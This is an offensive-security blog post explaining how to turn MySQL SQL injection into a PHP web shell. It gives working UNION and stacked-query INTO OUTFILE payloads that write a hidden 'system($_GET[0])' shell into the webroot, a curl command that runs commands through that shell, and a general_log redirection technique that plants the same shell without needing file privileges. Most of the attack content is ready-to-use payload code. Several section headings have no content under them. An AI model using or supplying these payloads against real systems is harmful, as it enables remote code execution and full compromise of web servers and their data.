0xFFFF

offensive security research

SQL Injection to Web Shell: Writing PHP with INTO OUTFILE

2026-08-16

Most SQL injection writeups stop at data exfiltration. Dump the users table, crack the hashes, done. That is fine for a bug bounty triage, but on an internal engagement the interesting question is whether a read primitive can be turned into code execution on the box. MySQL's INTO OUTFILE is the oldest answer to that question. It still works, but the conditions that have to line up have narrowed a lot since the technique was written up in the mid-2000s, and most of the failures we see are people running the payload without checking those conditions first.

TL;DR

SELECT ... INTO OUTFILE writes the query result, as raw bytes you control, to a file on the database server's filesystem. Point it at the webroot with a PHP payload as the "result" and you have a web shell. Four things have to be true for it to land, and on a default MySQL 8 install at least one of them usually is not. Check all four before you fire, and keep the general_log trick in your pocket for when OUTFILE is locked down but you still have admin on the database.

The Preconditions

This is the part that gets skipped. All four have to hold:

Checking Before You Fire

Confirm the database side first. If your injection is a UNION, these fold straight into the injected SELECT:

-- restriction level: '' = none, a path = confined, NULL = disabled
SELECT @@secure_file_priv;

-- does the current user actually have FILE?
SELECT privilege_type FROM information_schema.user_privileges
  WHERE grantee = CONCAT("'", REPLACE(CURRENT_USER(), '@', "'@'"), "'")
  AND privilege_type = 'FILE';

-- version, because behaviour and defaults differ across 5.5 / 5.7 / 8
SELECT VERSION();

If secure_file_priv comes back NULL, stop. No OUTFILE write is happening on this box and you are wasting requests. If it returns a path, your webroot has to be inside that path, which it almost never is. The empty string is the case you are hoping for.

Finding the Path

You cannot write to the webroot if you do not know where it is. The reliable sources, roughly in order of how often they work:

The Payload

With a UNION injection where you control the last column, the write looks like this. Keep the PHP minimal so nothing in it collides with the OUTFILE quoting:

' UNION SELECT 1,2,'<?php system($_GET[0]); ?>'
  INTO OUTFILE '/var/www/html/.9f.php' -- -

A few things that trip people up here. The column count and types in the UNION still have to match, so pad with numbers or NULL as usual and put the payload in a column that renders as a string. Do not add FIELDS TERMINATED BY clauses unless you need them; the defaults write your string with a trailing newline, which PHP ignores. And the file being written is the entire result set, so a UNION that returns extra rows will prepend junk before your <?php tag. That is fine for execution, PHP just skips the leading bytes, but keep the row count to one if you want a clean file.

Then the shell is a normal GET:

curl 'https://target/.9f.php?0=id'

If your injection allows stacked queries instead of a UNION, the same write is simpler to express:

; SELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/.9f.php'; -- -

What Did Not Work

Being honest about the failure modes, because on modern targets they are the common case:

What Worked: the general_log Fallback

When OUTFILE is restricted but the injection runs as a database account with admin rights (a depressingly common combination on internal apps that point the web tier at a root-equivalent MySQL user), you do not need OUTFILE at all. You redirect the general query log to a PHP file and let the server write your payload for you:

SET GLOBAL general_log_file = '/var/www/html/.9f.php';
SET GLOBAL general_log = 'ON';
SELECT '<?php system($_GET[0]); ?>';
SET GLOBAL general_log = 'OFF';

Every statement, including the SELECT carrying your PHP, gets appended to the log file, which is now a .php file in the webroot. The log preamble is plain text that PHP ignores, and your tag executes. This needs the SUPER (or the modern SYSTEM_VARIABLES_ADMIN) privilege rather than FILE, and it sidesteps secure_file_priv entirely because it is not an OUTFILE write. Turn the log back off when you are done; leaving general_log on writes every subsequent query to a web-readable file, which is both noisy and a liability you just created.

Closing

The pattern that makes this reliable is boring: enumerate the four preconditions with real queries before you spend requests on payloads, get the path from full path disclosure rather than guessing, and fall back to general_log the moment you see admin-level database access with OUTFILE locked down. For the request-shaping side, when the injection point is behind a filter that flags OUTFILE or UNION, our non-conventional WAF / IDS evasion writeup covers the token-level tricks that get the query through. For the write primitives on other database engines and the filter-bypass variants of all of this, the PayloadsAllTheThings SQL Injection collection is the reference to keep open in a tab.